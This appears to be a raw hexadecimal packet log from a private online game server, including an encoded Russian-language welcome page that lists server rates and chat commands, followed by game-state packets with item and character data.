00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 13 | 0D 00 / FE / 3A 00 00 00 00 00 00 00 00 00 +S: Len 7 | 07 00 / 75 / 00 00 00 00 +S: Len 7 | 07 00 / 86 / 00 00 00 00 +S: Len 33 | 21 00 / FE / 2F 00 50 00 00 00 64 00 00 00 64 00 00 00 04 00 00 00 04 00 00 00 32 00 00 00 32 00 00 00 +S: Len 7 | 07 00 / 86 / 00 00 00 00 +S: Len 493 | ED 01 / FE / 5F 00 79 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00 04 00 00 00 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 09 00 00 00 0A 00 00 00 0B 00 00 00 0C 00 00 00 0D 00 00 00 0E 00 00 00 0F 00 00 00 10 00 00 00 11 00 00 00 12 00 00 00 13 00 00 00 15 00 00 00 16 00 00 00 17 00 00 00 18 00 00 00 19 00 00 00 1A 00 00 00 1C 00 00 00 1D 00 00 00 1E 00 00 00 1F 00 00 00 20 00 00 00 21 00 00 00 22 00 00 00 23 00 00 00 24 00 00 00 25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2A 00 00 00 2B 00 00 00 2C 00 00 00 2D 00 00 00 2E 00 00 00 2F 00 00 00 30 00 00 00 32 00 00 00 33 00 00 00 34 00 00 00 35 00 00 00 36 00 00 00 37 00 00 00 38 00 00 00 39 00 00 00 3A 00 00 00 3B 00 00 00 3C 00 00 00 3D 00 00 00 3E 00 00 00 3F 00 00 00 40 00 00 00 41 00 00 00 42 00 00 00 E8 03 00 00 EB 03 00 00 EC 03 00 00 ED 03 00 00 EE 03 00 00 EF 03 00 00 F0 03 00 00 F1 03 00 00 F2 03 00 00 F3 03 00 00 F4 03 00 00 F5 03 00 00 F6 03 00 00 F7 03 00 00 F8 03 00 00 F9 03 00 00 07 04 00 00 08 04 00 00 09 04 00 00 0A 04 00 00 0B 04 00 00 0C 04 00 00 0D 04 00 00 0E 04 00 00 0F 04 00 00 10 04 00 00 11 04 00 00 12 04 00 00 13 04 00 00 14 04 00 00 15 04 00 00 16 04 00 00 17 04 00 00 18 04 00 00 19 04 00 00 1A 04 00 00 1B 04 00 00 1C 04 00 00 1D 04 00 00 1E 04 00 00 1F 04 00 00 20 04 00 00 21 04 00 00 22 04 00 00 23 04 00 00 24 04 00 00 25 04 00 00 26 04 00 00 27 04 00 00 28 04 00 00 29 04 00 00 2A 04 00 00 2B 04 00 00 2C 04 00 00 2D 04 00 00 2E 04 00 00 2F 04 00 00 +S: Len 125 | 7D 00 / 85 / 0C 00 F9 10 00 00 02 00 B9 17 00 00 F8 10 00 00 02 00 B9 17 00 00 FD 10 00 00 01 00 B9 17 00 00 F6 10 00 00 02 00 BA 17 00 00 FB 10 00 00 04 00 BA 17 00 00 FC 10 00 00 04 00 BA 17 00 00 05 11 00 00 01 00 BA 17 00 00 07 11 00 00 02 00 BA 17 00 00 06 11 00 00 02 00 BB 17 00 00 02 11 00 00 02 00 BB 17 00 00 FA 10 00 00 02 00 BB 17 00 00 2F 01 00 00 04 00 0A 04 00 00 +S: Len 722 | D2 02 / 32 / 7D CB 00 00 BF 2B FF FF 90 F3 FF FF 88 39 00 00 31 10 03 10 45 00 6F 00 77 00 69 00 6E 00 67 00 00 00 00 00 00 00 01 00 00 00 5C 00 00 00 52 00 00 00 CD 2C 7D B3 02 00 00 00 2F 00 00 00 22 00 00 00 20 00 00 00 15 00 00 00 0B 00 00 00 19 00 00 00 D9 13 00 00 D9 13 00 00 6D 0B 00 00 6D 0B 00 00 E0 35 94 4A 0D DC 01 00 6F 26 06 00 28 00 00 00 8C E8 03 10 DB A3 04 10 E4 A3 04 10 00 A4 04 10 13 22 01 10 70 A4 04 10 4E 20 04 10 B2 BD 00 10 DB 7A 01 10 51 20 04 10 4B 20 04 10 4C 20 04 10 57 20 04 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AC 02 00 00 EF 24 00 00 EF 24 00 00 F0 24 00 00 04 1A 00 00 F1 24 00 00 CE 24 00 00 89 26 00 00 41 05 00 00 CF 24 00 00 CA 24 00 00 CD 24 00 00 D0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 2A 2B 1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 0E 00 00 93 01 00 00 1B 06 00 00 76 00 00 00 76 00 00 00 46 01 00 00 70 01 00 00 D5 00 00 00 93 01 00 00 F0 05 00 00 00 00 00 00 00 00 00 00 73 00 00 00 58 00 00 00 65 00 00 00 65 00 00 00 73 00 00 00 58 00 00 00 73 00 00 00 58 00 00 00 00 00 00 20 0B 59 F8 3F 00 00 00 20 4B 7E F5 3F 00 00 00 00 00 00 20 40 00 00 00 00 00 00 37 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3E 00 3E 00 2D 00 2D 00 2D 00 3E 00 00 00 48 E3 02 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 11 FE FF 7F 00 09 00 00 00 00 00 00 00 50 00 5C 00 00 00 00 00 00 00 94 09 00 00 94 09 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF 00 01 01 00 00 00 00 00 00 00 77 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 96 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 0A 00 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 +S: Len 125 | 7D 00 / 85 / 0C 00 F9 10 00 00 02 00 B9 17 00 00 F8 10 00 00 02 00 B9 17 00 00 FD 10 00 00 01 00 B9 17 00 00 F6 10 00 00 02 00 BA 17 00 00 FB 10 00 00 04 00 BA 17 00 00 FC 10 00 00 04 00 BA 17 00 00 05 11 00 00 01 00 BA 17 00 00 07 11 00 00 02 00 BA 17 00 00 06 11 00 00 02 00 BB 17 00 00 02 11 00 00 02 00 BB 17 00 00 FA 10 00 00 02 00 BB 17 00 00 2F 01 00 00 04 00 0A 04 00 00 +S: Len 35 | 23 00 / F9 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 19 | 13 00 / FE / 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 3057 | F1 0B / 19 / 01 00 00 00 3C 00 68 00 74 00 6D 00 6C 00 3E 00 3C 00 62 00 6F 00 64 00 79 00 3E 00 3C 00 63 00 65 00 6E 00 74 00 65 00 72 00 3E 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 39 00 39 00 30 00 30 00 22 00 3E 00 14 04 3E 04 31 04 40 04 3E 04 20 00 3F 04 3E 04 36 04 30 04 3B 04 3E 04 32 04 30 04 42 04 4C 04 20 00 3D 04 30 04 3C 00 62 00 72 00 3E 00 0A 00 4E 00 65 00 77 00 6C 00 61 00 6E 00 64 00 73 00 20 00 50 00 76 00 50 00 3C 00 62 00 72 00 3E 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 3C 00 2F 00 63 00 65 00 6E 00 74 00 65 00 72 00 3E 00 3C 00 62 00 72 00 3E 00 52 00 61 00 74 00 65 00 20 00 58 00 50 00 20 00 3D 00 20 00 35 00 30 00 30 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 53 00 50 00 20 00 3D 00 20 00 35 00 30 00 30 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 44 00 72 00 6F 00 70 00 41 00 64 00 65 00 6E 00 61 00 20 00 3D 00 20 00 37 00 37 00 37 00 3C 00 62 00 72 00 3E 00 0A 00 50 00 61 00 72 00 74 00 79 00 20 00 52 00 61 00 74 00 65 00 20 00 58 00 50 00 2F 00 53 00 50 00 20 00 3D 00 20 00 31 00 2E 00 32 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 44 00 72 00 6F 00 70 00 20 00 49 00 74 00 65 00 6D 00 73 00 20 00 3D 00 20 00 35 00 30 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 44 00 72 00 6F 00 70 00 20 00 53 00 70 00 6F 00 69 00 6C 00 20 00 3D 00 20 00 35 00 30 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 51 00 75 00 65 00 73 00 74 00 73 00 20 00 52 00 65 00 77 00 61 00 72 00 64 00 20 00 3D 00 20 00 32 00 30 00 30 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 51 00 75 00 65 00 73 00 74 00 73 00 20 00 44 00 72 00 6F 00 70 00 20 00 3D 00 20 00 32 00 30 00 30 00 3C 00 62 00 72 00 3E 00 0A 00 52 00 61 00 74 00 65 00 20 00 52 00 61 00 69 00 64 00 42 00 6F 00 73 00 73 00 20 00 3D 00 20 00 31 00 30 00 3C 00 62 00 72 00 3E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 1A 04 3D 04 38 04 33 04 38 04 20 00 34 04 3B 04 4F 04 20 00 41 04 3A 04 38 04 3B 04 3E 04 32 04 20 00 3D 04 35 04 20 00 3D 04 43 04 36 04 3D 04 4B 04 2E 00 20 00 10 04 32 04 42 04 3E 04 38 04 37 04 43 04 47 04 35 04 3D 04 38 04 35 04 20 00 41 04 3A 04 38 04 3B 04 3E 04 32 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 53 00 75 00 62 00 43 00 6C 00 61 00 73 00 73 00 20 00 31 04 35 04 37 04 20 00 3A 04 32 04 35 04 41 04 42 04 30 04 2E 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 1F 04 3E 04 3B 04 43 04 47 04 35 04 3D 04 38 04 35 04 20 00 34 04 32 04 3E 04 40 04 4F 04 3D 04 41 04 42 04 32 04 30 04 20 00 42 04 3E 04 3B 04 4C 04 3A 04 3E 04 20 00 3F 04 3E 04 20 00 3A 04 32 04 35 04 41 04 42 04 43 04 2E 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 1C 04 30 04 3A 04 41 04 38 04 3C 04 30 04 3B 04 4C 04 3D 04 3E 04 35 04 20 00 3A 04 3E 04 3B 04 38 04 47 04 35 04 41 04 42 04 32 04 3E 04 20 00 41 04 30 04 31 04 2D 00 3A 04 3B 04 30 04 41 04 41 04 3E 04 32 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3D 00 20 00 35 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 21 04 42 04 3E 04 38 04 42 04 20 00 4E 00 50 00 43 00 20 00 42 00 75 00 66 00 66 00 65 00 72 00 20 00 28 00 34 04 3E 04 41 04 42 04 43 04 3F 04 35 04 3D 04 20 00 3F 04 40 04 38 04 20 00 3E 04 41 04 30 04 34 04 30 04 45 04 29 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3D 00 20 00 32 00 38 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 1A 04 3E 04 3B 04 38 04 47 04 35 04 41 04 42 04 32 04 3E 04 20 00 31 04 30 04 44 04 44 04 20 00 41 04 3B 04 3E 04 42 04 3E 04 32 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3D 00 20 00 32 00 38 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 12 04 40 04 35 04 3C 04 4F 04 20 00 31 04 30 04 44 04 44 04 3E 04 32 04 20 00 28 00 1F 04 1F 04 2C 00 20 00 28 04 15 04 20 00 38 04 20 00 34 04 40 04 29 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3D 00 20 00 36 00 30 00 20 00 3C 04 38 04 3D 04 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 12 04 40 04 35 04 3C 04 4F 04 20 00 3F 04 35 04 41 04 35 04 3D 04 2F 00 42 04 30 04 3D 04 46 04 35 04 32 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3D 00 20 00 33 00 30 00 20 00 3C 04 38 04 3D 04 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 11 04 35 04 37 04 3E 04 3F 04 30 04 41 04 42 04 3D 04 30 04 4F 04 20 00 37 04 30 04 42 04 3E 04 47 04 3A 04 30 04 20 00 3F 04 40 04 35 04 34 04 3C 04 35 04 42 04 3E 04 32 04 20 00 2B 00 38 00 2E 00 20 00 1C 04 30 04 3A 04 41 04 2E 00 20 00 2B 00 38 00 2E 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 27 04 42 04 3E 04 31 04 4B 04 20 00 3F 04 3E 04 41 04 3C 04 3E 04 42 04 40 04 35 04 42 04 4C 04 20 00 3F 04 3E 04 3B 04 4C 04 37 04 3E 04 32 04 30 04 42 04 35 04 3B 04 4C 04 41 04 3A 04 38 04 35 04 20 00 3A 04 3E 04 3C 04 30 04 3D 04 34 04 4B 04 20 00 3D 04 30 04 31 04 35 04 40 04 38 04 42 04 35 04 20 00 32 04 20 00 3E 04 3A 04 3D 04 35 04 20 00 47 04 30 04 42 04 30 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 30 00 30 00 30 00 30 00 22 00 3E 00 2E 00 68 00 65 00 6C 00 70 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 14 04 3B 04 4F 04 20 00 3F 04 40 04 3E 04 41 04 3C 04 3E 04 42 04 40 04 30 04 20 00 41 04 42 04 30 04 42 04 43 04 41 04 30 04 20 00 41 04 35 04 40 04 32 04 35 04 40 04 30 04 20 00 32 04 32 04 35 04 34 04 38 04 42 04 35 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 30 00 30 00 30 00 30 00 22 00 3E 00 2E 00 73 00 74 00 61 00 74 00 75 00 73 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 14 04 3B 04 4F 04 20 00 3F 04 40 04 38 04 3D 04 4F 04 42 04 38 04 4F 04 20 00 43 04 47 04 30 04 41 04 42 04 38 04 4F 04 20 00 32 04 20 00 33 04 3E 04 3B 04 3E 04 41 04 3E 04 32 04 30 04 3D 04 38 04 38 04 20 00 32 04 32 04 35 04 34 04 38 04 42 04 35 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 30 00 30 00 30 00 30 00 22 00 3E 00 2E 00 76 00 6F 00 74 00 65 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 2E 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 46 00 32 00 30 00 30 00 22 00 3E 00 27 04 42 04 3E 04 31 04 4B 04 20 00 3F 04 3E 04 47 04 38 04 42 04 30 04 42 04 4C 04 20 00 62 00 61 00 73 00 68 00 2E 00 6F 00 72 00 67 00 2E 00 72 00 75 00 20 00 3F 04 3E 04 33 04 3E 04 32 04 3E 04 40 04 38 04 42 04 35 04 20 00 41 04 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 20 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 46 00 46 00 30 00 30 00 30 00 30 00 22 00 3E 00 54 00 61 00 75 00 72 00 69 00 6E 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 2E 00 3C 00 62 00 72 00 3E 00 3C 00 62 00 72 00 3E 00 11 04 3E 04 3B 04 35 04 35 04 20 00 3F 04 3E 04 34 04 40 04 3E 04 31 04 3D 04 43 04 4E 04 20 00 38 04 3D 04 44 04 3E 04 40 04 3C 04 30 04 46 04 38 04 4E 04 20 00 3C 04 3E 04 36 04 35 04 42 04 35 04 20 00 3F 04 3E 04 3B 04 43 04 47 04 38 04 42 04 4C 04 20 00 3D 04 30 04 20 00 3D 04 30 04 48 04 35 04 3C 04 20 00 41 04 30 04 39 04 42 04 35 04 3A 00 3C 00 62 00 72 00 3E 00 0A 00 3C 00 66 00 6F 00 6E 00 74 00 20 00 63 00 6F 00 6C 00 6F 00 72 00 3D 00 22 00 30 00 30 00 41 00 36 00 35 00 30 00 22 00 3E 00 6E 00 65 00 77 00 6C 00 61 00 6E 00 64 00 73 00 2D 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 2E 00 63 00 6F 00 6D 00 3C 00 2F 00 66 00 6F 00 6E 00 74 00 3E 00 0A 00 3C 00 2F 00 62 00 6F 00 64 00 79 00 3E 00 3C 00 2F 00 68 00 74 00 6D 00 6C 00 3E 00 00 00 00 00 00 00 +S: Len 3 | 03 00 / 1F / +S: Len 11 | 0B 00 / 27 / 5A EB 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / 45 EC 03 10 01 00 00 00 +S: Len 11 | 0B 00 / 27 / 25 ED 03 10 01 00 00 00 +S: Len 31 | 1F 00 / 2F / 44 EC 03 10 7B D0 00 00 EA 27 FF FF 50 F4 FF FF 0F D1 00 00 43 27 FF FF 00 F4 FF FF +S: Len 11 | 0B 00 / 27 / AA EB 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / 2E EC 03 10 03 00 00 00 +S: Len 11 | 0B 00 / 27 / DB EB 03 10 03 00 00 00 +S: Len 31 | 1F 00 / 2F / DA EB 03 10 BD C3 00 00 49 23 FF FF D0 F5 FF FF AC C3 00 00 B4 23 FF FF D0 F5 FF FF +S: Len 11 | 0B 00 / 27 / AA EB 03 10 03 00 00 00 +S: Len 11 | 0B 00 / 27 / 3B A4 00 10 02 00 00 00 +S: Len 31 | 1F 00 / 2F / 5B EB 03 10 51 D0 00 00 FD 25 FF FF 10 F4 FF FF 12 D0 00 00 1C 26 FF FF 00 F4 FF FF +S: Len 7 | 07 00 / C7 / 00 00 00 00 +S: Len 7 | 07 00 / C7 / 00 00 00 00 +S: Len 21 | 15 00 / 89 / 48 E3 02 10 4E 00 4F 00 4F 00 42 00 53 00 00 00 00 00 +S: Len 11 | 0B 00 / 27 / DB EB 03 10 03 00 00 00 +S: Len 11 | 0B 00 / 27 / 12 EC 03 10 02 00 00 00 +S: Len 11 | 0B 00 / 27 / 5B EB 03 10 01 00 00 00 +S: Len 43 | 2B 00 / 48 / C9 EB 03 10 C9 EB 03 10 BD 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 9F D2 00 00 6D 24 FF FF 20 F4 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / C9 EB 03 10 BD 0F 00 00 03 00 00 00 01 00 00 00 C9 EB 03 10 +S: Len 49 | 31 00 / 4A / 7E C8 03 10 01 00 00 00 4D 00 65 00 67 00 42 00 65 00 67 00 00 00 1A 04 38 04 3D 04 4C 04 42 04 35 04 20 00 3D 04 43 04 31 04 3B 04 00 00 +S: Len 31 | 1F 00 / 2F / AA EC 03 10 5A C6 00 00 F6 34 FF FF A0 F4 FF FF 82 C7 00 00 72 35 FF FF 60 F4 FF FF +S: Len 11 | 0B 00 / 27 / 43 EC 03 10 03 00 00 00 +S: Len 43 | 2B 00 / 48 / 37 ED 03 10 37 ED 03 10 BD 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 30 CA 00 00 76 2E FF FF 80 F4 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 37 ED 03 10 BD 0F 00 00 03 00 00 00 01 00 00 00 37 ED 03 10 +S: Len 43 | 2B 00 / 48 / 26 ED 03 10 26 ED 03 10 BC 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 BC C5 00 00 F1 27 FF FF F8 F4 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 26 ED 03 10 BC 0F 00 00 03 00 00 00 01 00 00 00 26 ED 03 10 +S: Len 43 | 2B 00 / 48 / 5B EB 03 10 5B EB 03 10 BC 0F 00 00 03 00 00 00 B5 0B 00 00 08 34 00 00 51 D0 00 00 FD 25 FF FF 10 F4 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 5B EB 03 10 BC 0F 00 00 03 00 00 00 01 00 00 00 5B EB 03 10 +S: Len 43 | 2B 00 / 48 / C8 EB 03 10 C8 EB 03 10 BD 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 02 D6 00 00 00 2F FF FF F0 F3 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / C8 EB 03 10 BD 0F 00 00 03 00 00 00 01 00 00 00 C8 EB 03 10 +S: Len 11 | 0B 00 / 27 / 18 ED 03 10 01 00 00 00 +S: Len 43 | 2B 00 / 48 / 5A EB 03 10 5A EB 03 10 BC 0F 00 00 03 00 00 00 B5 0B 00 00 08 34 00 00 25 D5 00 00 70 26 FF FF 58 F3 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 5A EB 03 10 BC 0F 00 00 03 00 00 00 01 00 00 00 5A EB 03 10 +S: Len 206 | CE 00 / 0C / 26 ED 03 10 73 96 0F 00 01 00 00 00 BC C5 00 00 F1 27 FF FF F8 F4 FF FF C2 F6 00 00 00 00 00 00 FD 00 00 00 16 01 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 A0 00 00 00 64 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 C0 CC CC 37 40 00 00 00 40 33 B3 45 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 35 00 20 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 CC CC 37 40 00 00 00 40 33 B3 45 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 43 | 2B 00 / 48 / 38 ED 03 10 38 ED 03 10 BD 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 51 C4 00 00 22 32 FF FF F8 F4 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 38 ED 03 10 BD 0F 00 00 03 00 00 00 01 00 00 00 38 ED 03 10 +S: Len 31 | 1F 00 / 2F / AA EB 03 10 C0 D4 00 00 C0 24 FF FF F8 F2 FF FF E0 D4 00 00 10 25 FF FF 08 F3 FF FF +S: Len 11 | 0B 00 / 27 / A9 EC 03 10 03 00 00 00 +S: Len 208 | D0 00 / 0C / 5B EB 03 10 85 96 0F 00 01 00 00 00 51 D0 00 00 FD 25 FF FF 10 F4 FF FF 5E ED 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 11 | 0B 00 / 27 / 5B EB 03 10 02 00 00 00 +C: Len 13 | 0D 00 / D0 / 0D 00 BB 05 00 00 01 00 00 00 +S: Len 43 | 2B 00 / 48 / 5C EB 03 10 5C EB 03 10 BC 0F 00 00 03 00 00 00 B5 0B 00 00 08 34 00 00 D9 D5 00 00 2D 21 FF FF 10 F3 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / 5C EB 03 10 BC 0F 00 00 03 00 00 00 01 00 00 00 5C EB 03 10 +S: Len 13 | 0D 00 / FE / 0C 00 BB 05 00 00 01 00 00 00 +S: Len 51 | 33 00 / 62 / 99 05 00 00 01 00 00 00 00 00 00 00 53 00 6F 00 75 00 6C 00 73 00 68 00 6F 00 74 00 3A 00 20 00 53 00 2D 00 67 00 72 00 61 00 64 00 65 00 00 00 +S: Len 83 | 53 00 / 21 / 01 00 02 00 04 00 D0 7A 01 10 BB 05 00 00 13 00 00 00 68 03 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FE FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +S: Len 11 | 0B 00 / 62 / 56 01 00 00 00 00 00 00 +S: Len 43 | 2B 00 / 48 / 31 10 03 10 31 10 03 10 6A 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 7D CB 00 00 BF 2B FF FF 90 F3 FF FF 00 00 00 00 +S: Len 43 | 2B 00 / 48 / C7 EB 03 10 C7 EB 03 10 BD 0F 00 00 03 00 00 00 6C 08 00 00 6E 25 00 00 81 D0 00 00 3E 23 FF FF A0 F3 FF FF 00 00 00 00 +S: Len 23 | 17 00 / 54 / C7 EB 03 10 BD 0F 00 00 03 00 00 00 01 00 00 00 C7 EB 03 10 +S: Len 208 | D0 00 / 0C / 5A EB 03 10 85 96 0F 00 01 00 00 00 25 D5 00 00 70 26 FF FF 58 F3 FF FF D9 55 00 00 00 00 00 00 B6 00 00 00 C8 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 B9 00 00 00 69 00 00 00 9A 99 99 99 99 99 F1 3F 00 00 00 00 00 00 F0 3F 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 4C 00 36 00 39 00 20 00 41 00 53 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 1E F5 50 40 00 00 00 80 14 2E 48 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 